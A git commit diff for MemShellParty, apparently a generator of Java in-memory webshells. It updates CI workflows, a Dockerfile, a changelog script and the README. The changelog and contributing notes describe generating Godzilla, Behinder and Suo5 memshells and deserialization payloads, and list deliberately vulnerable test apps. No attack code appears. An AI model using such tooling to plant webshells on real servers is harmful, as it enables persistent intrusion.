refactor: rm useless field

This reverts commit 93971fc66c.

.github/scripts/parse_changelog_of_version.py

@@ -0,0 +1,35 @@
+import argparse
+import sys
+
+if __name__ == '__main__':
+    capture = False
+    result_lines = []
+    parser = argparse.ArgumentParser(description="Extract changelog for a specific version")
+    parser.add_argument("version", help="The version of the changelog to extract, e.g. 'v1.0.0'")
+    args = parser.parse_args()
+    version = args.version
+
+    with open("../../web/content/docs/changelog.mdx") as f:
+        lines = f.readlines()
+        for line in lines:
+            if line.startswith(f"## [{version}]"):
+                capture = True
+            elif capture and line.startswith("## ["):
+                break
+            elif capture:
+                result_lines.append(line)
+    if not result_lines:
+        print("Specified version not found.", file=sys.stderr)
+        sys.exit(1)
+    result_lines.append("## 更新方式\n")
+    result_lines.append("### Docker 部署\n")
+    result_lines.append("```bash\n")
+    result_lines.append("docker rm -f memshell-party\n\n")
+    result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
+    result_lines.append("```\n")
+    result_lines.append("### Jar 包启动\n")
+    result_lines.append("> 仅支持 JDK17 及以上版本\n")
+    result_lines.append("```bash\n")
+    result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
+    result_lines.append("```\n")
+    print("".join(result_lines).strip())

.github/workflows/dev-deploy.yaml

@@ -0,0 +1,130 @@
+name: "Dev Deploy"
+
+on:
+  push:
+    branches:
+      - dev
+    paths-ignore:
+      - 'docs/**'
+      - '**.md'
+      - '**/*.png'
+
+jobs:
+  build-jar:
+    name: Build Jar
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Setup Node
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22
+
+      - name: Setup Bun
+        uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: latest
+
+      - name: Build Web with Bun
+        working-directory: web
+        run: bun install --frozen-lockfile && bun run build
+
+      - name: Build Boot with Gradle (Linux)
+        if: matrix.os == 'ubuntu-latest'
+        run: ./gradlew :boot:test :boot:bootjar
+
+      - name: Build Boot with Gradle (Windows)
+        if: matrix.os == 'windows-latest'
+        run: ./gradlew.bat :boot:test :boot:bootjar
+
+      - name: Upload Boot Jar (Linux)
+        if: matrix.os == 'ubuntu-latest'
+        uses: actions/upload-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs/*.jar
+
+  docker-push:
+    name: Docker Push
+    needs: [ build-jar ]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@v3
+        with:
+          registry: docker.io
+          username: ${{ vars.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@v3
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v3
+
+      - name: Build and push
+        uses: docker/build-push-action@v6
+        with:
+          context: boot
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: docker.io/reajason/memshell-party:dev
+
+  deploy-maven:
+    name: Deploy to Maven Central
+    needs: [ build-jar ]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Publish with Gradle
+        env:
+          ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
+          ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
+          ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
+          ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
+          ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
+        run: ./gradlew publishAllToMavenCentral
+
+  deploy-northflank:
+    name: Deploy to Northflank
+    needs: [ docker-push ]
+    runs-on: ubuntu-latest
+    env:
+      NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
+    steps:
+      - name: Update Deployment
+        run: |
+          curl --header "Content-Type: application/json" \
+               --header "Authorization: Bearer $NORTHFLANK_API_KEY" \
+               --request POST \
+               --data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
+               https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment

.github/workflows/docker-build-test.yml

@@ -0,0 +1,41 @@
+name: Docker Build Test
+
+on:
+  push:
+    branches:
+      - master
+    paths-ignore:
+      - 'docs/**'
+      - 'boot/**'
+      - 'examples/**'
+      - 'vul/**'
+      - 'web/**'
+      - '**.md'
+      - '**/*.png'
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  docker-build-test:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+      - name: Build Docker image
+        run: |
+          docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+          docker images
+      - name: Run Docker container
+        run: |
+          docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
+          sleep 10
+      - name: Test with curl
+        run: |
+          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
+             echo "Test successful!"
+          else
+            echo "Test failed!"
+            exit 1
+          fi

.github/workflows/docker-push.yml

@@ -0,0 +1,41 @@
+name: docker-push
+on:
+  workflow_dispatch:
+    inputs:
+      path:
+        description: 'Path'
+        required: true
+        default: '/redqueen-memshell-party'
+      tag:
+        description: "Tag"
+        required: true
+        default: "redqueen"
+jobs:
+  docker-push:
+    name: Docker Push
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Login to Docker Hub
+        uses: docker/login-action@v3
+        with:
+          registry: docker.io
+          username: ${{ vars.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@v3
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v3
+
+      - name: Build and push RedQueen
+        uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/amd64,linux/arm64
+          build-args: |
+            ROUTE_ROOT_PATH=${{ inputs.path }}
+            CONTEXT_PATH=${{ inputs.path }}
+          push: true
+          tags: |
+            docker.io/reajason/memshell-party:${{ inputs.tag }}

.github/workflows/memshell-integration-test.yml

@@ -0,0 +1,78 @@
+name: MemShell IntegrationTest
+
+on:
+  workflow_dispatch:
+  push:
+    branches:
+      - '**'
+    paths:
+      - './github/workflows/memshell-integration-test.yml'
+      - '**/memshell/**'
+      - '**/packer/**'
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  memshell-integration-test:
+    strategy:
+      fail-fast: false
+      matrix:
+        cases:
+          - middleware: "tomcat"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jetty"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jbossas"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "jbosseap"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "wildfly"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "glassfish"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "resin"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "payara"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "websphere"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "websphere7"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "weblogic"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "springwebmvc"
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+          - middleware: "springwebflux"
+            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+          - middleware: "xxljob"
+            depend_tasks: ""
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
+    runs-on: ubuntu-22.04
+    name: ${{ matrix.cases.middleware }}
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Prepare for Integration Test
+        run: ./gradlew ${{ matrix.cases.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
+
+      - name: Export Integration Test Summary
+        uses: mikepenz/action-junit-report@v5
+        if: success() || failure()
+        with:
+          report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/probe-integration-test.yml

@@ -0,0 +1,72 @@
+name: Probe IntegrationTest
+
+on:
+  workflow_dispatch:
+  push:
+    branches:
+      - '**'
+    paths:
+      - '**/probe/**'
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  test:
+    strategy:
+      fail-fast: false
+      matrix:
+        cases:
+          - middleware: "tomcat"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jetty"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jbossas"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "jbosseap"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "wildfly"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "glassfish"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "resin"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "payara"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "websphere"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "websphere7"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "weblogic"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "springwebmvc"
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
+    runs-on: ubuntu-22.04
+    name: ${{ matrix.cases.middleware }}
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Prepare for Integration Test
+        run: ./gradlew ${{ matrix.cases.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+
+      - name: Export Integration Test Summary
+        uses: mikepenz/action-junit-report@v5
+        if: success() || failure()
+        with:
+          report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/release.yaml

@@ -15,19 +15,19 @@ jobs:
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
       - uses: actions/checkout@v4
-      - uses: actions/setup-python@v5
-        with:
-          python-version: '3.13'
 
       - name: Get Version
         id: get_version
-        uses: battila7/get-version-action@v2
+        run: |
+          VERSION=${GITHUB_REF#refs/tags/}
+          VERSION_WITHOUT_V=${VERSION#v}
+          echo "version=$VERSION" >> $GITHUB_OUTPUT
+          echo "version-without-v=$VERSION_WITHOUT_V" >> $GITHUB_OUTPUT
 
       - name: Get ChangeLog
         id: get_changelog
-        working-directory: scripts
+        working-directory: .github/scripts
         run: |
-          CHANGELOG=$(python parse_changelog_of_version.py "${{ steps.get_version.outputs.version }}")
           echo "changelog<<EOF" >> $GITHUB_OUTPUT
           echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
           echo "EOF" >> $GITHUB_OUTPUT
@@ -35,7 +35,6 @@ jobs:
   build-jar:
     name: Build Jar
     runs-on: ubuntu-latest
-    needs: [ info ]
     steps:
       - uses: actions/checkout@v4
 
@@ -49,9 +48,9 @@ jobs:
         uses: gradle/actions/setup-gradle@v4
 
       - name: Setup Node
-        uses: actions/setup-node@v4
+        uses: actions/setup-node@v6
         with:
-          node-version: '23'
+          node-version: 22
 
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
@@ -63,13 +62,13 @@ jobs:
         run: bun install --frozen-lockfile && bun run build
 
       - name: Build Boot with Gradle
-        run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
+        run: ./gradlew :boot:bootjar -x test
 
       - name: Upload Boot Jar
         uses: actions/upload-artifact@v4
         with:
           name: boot
-          path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
+          path: boot/build/libs/*.jar
 
   docker-push:
     name: Docker Push
@@ -109,13 +108,46 @@ jobs:
           context: boot
           platforms: linux/amd64,linux/arm64
           push: true
-          build-args: |
-            VERSION=${{ needs.info.outputs.version-without-v }}
           tags: |
-            docker.io/reajason/memshell-party:latest
             docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
-            ghcr.io/reajason/memshell-party:latest
+            docker.io/reajason/memshell-party:latest
             ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
+            ghcr.io/reajason/memshell-party:latest
+
+      - name: Build and push RedQueen
+        uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: linux/amd64,linux/arm64
+          build-args: |
+            ROUTE_ROOT_PATH=/redqueen-memshell-party
+            CONTEXT_PATH=/redqueen-memshell-party
+          push: true
+          tags: |
+            docker.io/reajason/memshell-party:redqueen
+
+  deploy-maven:
+    name: Deploy to Maven Central
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Publish with Gradle
+        env:
+          ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
+          ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
+          ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
+          ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
+          ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
+        run: ./gradlew publishAllToMavenCentral
 
   create-release:
     name: Create Release
@@ -126,12 +158,19 @@ jobs:
     steps:
       - uses: actions/checkout@v4
 
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
       - name: Release
         uses: ncipollo/release-action@v1
         with:
           name: ${{ needs.info.outputs.version }}
           tag: ${{ needs.info.outputs.version }}
           body: ${{ needs.info.outputs.changelog }}
+          artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
 
   deploy-northflank:
     name: Deploy to Northflank

.github/workflows/single-integration-test.yml

@@ -0,0 +1,47 @@
+name: Single IntegrationTest
+
+on:
+  workflow_dispatch:
+    inputs:
+      depend_tasks:
+        description: '前置构建任务，如 :boot:jar :generator:jar'
+        required: false
+        default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
+        type: string
+      test_class:
+        description: '测试用例类名，如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
+        required: true
+        type: string
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  integration-test:
+    runs-on: ubuntu-22.04
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Prepare for Integration Test
+        if: ${{ inputs.depend_tasks != '' }}
+        run: ./gradlew ${{ inputs.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
+
+      - name: Export Integration Test Summary
+        uses: mikepenz/action-junit-report@v5
+        if: success() || failure()
+        with:
+          report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/test.yaml

@@ -1,84 +0,0 @@
-name: Test
-
-on:
-  push:
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-  pull_request:
-    branches:
-      - main
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
-  cancel-in-progress: true
-
-jobs:
-  unit-test:
-    name: UniteTest
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-
-      - name: Setup Java
-        uses: actions/setup-java@v4
-        with:
-          distribution: 'temurin'
-          java-version: 17
-
-      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
-
-      - name: Generator Unit Test with Gradle
-        run: ./gradlew :generator:test
-
-      - name: Boot Unit Test with Gradle
-        run: ./gradlew :boot:test
-
-  integration-test:
-    strategy:
-      fail-fast: false
-      matrix:
-        middleware:
-          - tomcat
-          - jetty
-          - jbossas
-          - jbosseap
-          - wildfly
-          - glassfish
-          - resin
-          - payara
-          - websphere
-          - websphere7
-          - springmvc
-          - weblogic
-          - springwebflux
-          - xxljob
-    runs-on: ubuntu-latest
-    name: ${{ matrix.middleware }}
-    needs: [ unit-test ]
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-
-      - name: Setup Java
-        uses: actions/setup-java@v4
-        with:
-          distribution: 'temurin'
-          java-version: 17
-
-      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
-
-      - name: Integration Test with gradle
-        run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
-      - name: Export Integration Test Summary
-        run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY

.github/workflows/unit-test.yml

@@ -0,0 +1,35 @@
+name: Unit-Test
+
+on:
+  push:
+    branches:
+      - '**'
+    paths:
+      - 'generator/**'
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
+  cancel-in-progress: true
+
+jobs:
+  unit-test:
+    name: UniteTest
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Generator Unit Test with Gradle
+        run: ./gradlew :generator:test
+
+      - name: Boot Unit Test with Gradle
+        run: ./gradlew :boot:test

.gitignore

@@ -29,6 +29,10 @@ replay_pid*
 **/build/
 !src/**/build/
 
+**/bin/
+!**/src/main/**/bin/
+!**/src/test/**/bin/
+
 # Ignore Gradle GUI config
 gradle-app.setting
 
@@ -49,3 +53,12 @@ gradle-app.setting
 
 .DS_Store
 *.iml
+.vscode/
+
+# enterprise integration test cases
+snippets/
+integration-test/**/apusic
+integration-test/**/bes
+integration-test/**/tongweb
+integration-test/**/inforsuite
+integration-test/**/primeton

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "libs"]
+	path = libs
+	url = https://github.com/ReaJason/javaweb-sources.git

CHANGELOG.md

@@ -1,49 +0,0 @@
-# Changelog
-
-All notable changes to this project will be documented in this file.
-
-The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
-and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
-
-## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
-
-### Added
-
-- 支持 AntSword 内存马生成 by @ReaJason
-- 添加 Java 反序列化其他 CB 版本 Payload 生成
-
-### Changed
-
-- CI 分离单独测试 was7 集成测试，大幅度减少测试时间
-- 部分 UI 调整
-
-### Fixed
-
-- 修复随机类名如果为保留字时会无法加载
-
-## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
-
-### Added
-
-- 支持 Suo5 内存马生成 by @ReaJason
-
-### Changed
-
-- 升级 TailWind CSS v4
-- 分离 i18n EN 和 ZH 为两个 json 文件，方便维护以及 VSCode 插件识别
-
-### Fixed
-
-- 修复 sonner 颜色主题未随着修改而变化
-- 修复 IDEA 本地构建 version 一直是 unspecified
-
-**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
-
-## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
-
-### Added
-
-- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
-- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
-- 支持哥斯拉、冰蝎、命令执行功能
-- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式

CONTRIBUTING.md

@@ -1,19 +1,27 @@
+## Contribute
+
+> 你的任何反馈以及 issue 交流都是对当前项目的贡献
+
+> It will be so nice if you want to contribute. 🎉
+
+1. 如果你有高超的 Docker 环境构建技术，可以尝试添加 CVE 相关的集成测试用例。
+2. 如果你有高超的内存马编写技术，可以尝试添加一个内存马试试。
+3. 如果你有丰富的实战经验，可以尝试写写 issue 来提提建议。
+
 ### 目录结构
 
-- bom: 依赖版本管理，不用写到处写版本号就是舒服
 - boot：使用 SpringBoot 为 UI 提供生成服务
-- common：bytebuddy 等工具类存放
+- memshell-party-common：bytebuddy/asm 等工具类存放
 - generator：内存马生成核心
-- deserialize：反序列化相关 gadget
+- packer：常见漏洞 payload 生成
 - integration-test：集成测试用例
-- memshell：内存功能类以及注入器（为保证兼容性够高，所以单独弄出来）
-- memshell-java8：Spring 相关的存在 lambda 表达式所以单独弄出来
-- tools/behinder：冰蝎简易连接器
-- tools/godzilla：哥斯拉简易连接器
-- tools/suo5：Suo5 简易连接器
+- memshell：内存功能类以及注入器
+- memshell-agent：Agent 内存马 playground，可参考 asm/javassist/bytebuddy 编写 Agent 内存马
+- tools/*：内存马简易连接器，用于测试内存马注入之后是否可用
 - web：使用 react 开发的 Web UI
 - vul/vul-webapp：简易的 javax.servlet 靶场
 - vul/vul-webapp-expression：简易的表达式注入、SSTI 注入相关靶场
+- vul/vul-webapp-deserialize：简易的反序列化相关靶场
 - vul/vul-webapp-jakarta：简易的 jakarta.servlet 靶场
 - vul/springboot*: springboot 相关靶场
 
@@ -28,12 +36,15 @@
 # 运行集成测试用例，谨慎运行，用例太多了
 ./gradlew :integration-test:test --info
 
-# 仅运行 tomcat 下的集成测试用例
+# 仅运行 tomcat 下的集成测试用例（需要先构建靶场）
+./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
 ./gradlew :integration-test:test --tests '*.tomcat.*'
-# 仅运行 jetty 下的集成测试用例
+
+# 仅运行 jetty 下的集成测试用例（需要先构建靶场）
+./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
 ./gradlew :integration-test:test --tests '*.jetty.*'
 
-# 构建 war 包
+# 构建靶场 war 包
 ./gradlew :vul:vul-webapp:war
 ./gradlew :vul:vul-webapp-jakarta:war
 ./gradlew :vul:vul-webapp-expression:war
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot，构建时需要先将 React 前端项目
 
 ### Contribute Code
 
-> 参考 GitHub Docs， https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
+> 参考 GitHub Docs，https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
 
 1. fork 当前项目
 2. git clone 自己 fork 后的项目

Dockerfile

@@ -0,0 +1,59 @@
+FROM --platform=$BUILDPLATFORM  buildpack-deps:bullseye-scm AS source
+
+WORKDIR /usr/src
+
+RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
+    rm -rf vul integration-test tools
+
+# https://hub.docker.com/r/oven/bun
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
+
+ARG ROUTE_ROOT_PATH="/"
+ARG CONTEXT_PATH=""
+
+WORKDIR /usr/src/web
+
+ENV VITE_APP_API_URL=${CONTEXT_PATH} \
+    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
+
+COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
+
+RUN bun install --frozen-lockfile
+
+COPY --from=source /usr/src/web /usr/src/web
+
+RUN bun run build
+
+# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
+FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.17_10-jdk-noble AS backend
+
+WORKDIR /usr/src
+
+COPY --from=source /usr/src /usr/src
+
+COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
+
+RUN ./gradlew :boot:bootjar -x test
+
+FROM eclipse-temurin:17.0.17_10-jre-noble
+
+LABEL authors="ReaJason<[email protected]>"
+
+WORKDIR /app
+
+RUN groupadd -r spring && \
+    useradd -r -g spring spring
+
+COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
+
+USER spring:spring
+
+ENV INTERNAL_JAVA_OPTS="\
+    -Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
+    --add-opens=java.base/java.util=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+
+EXPOSE 8080
+
+ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]

README.md

@@ -1,64 +1,70 @@
-# MemShellParty
+<h1 align="center">MemShellParty</h1>
+
+<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
+
+
+<div align="center">
 
-[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
-[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
 [![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
+[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
 [![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
+</div>
+<div align="center">
+
 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
-[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
+</div>
 
 > [!WARNING]
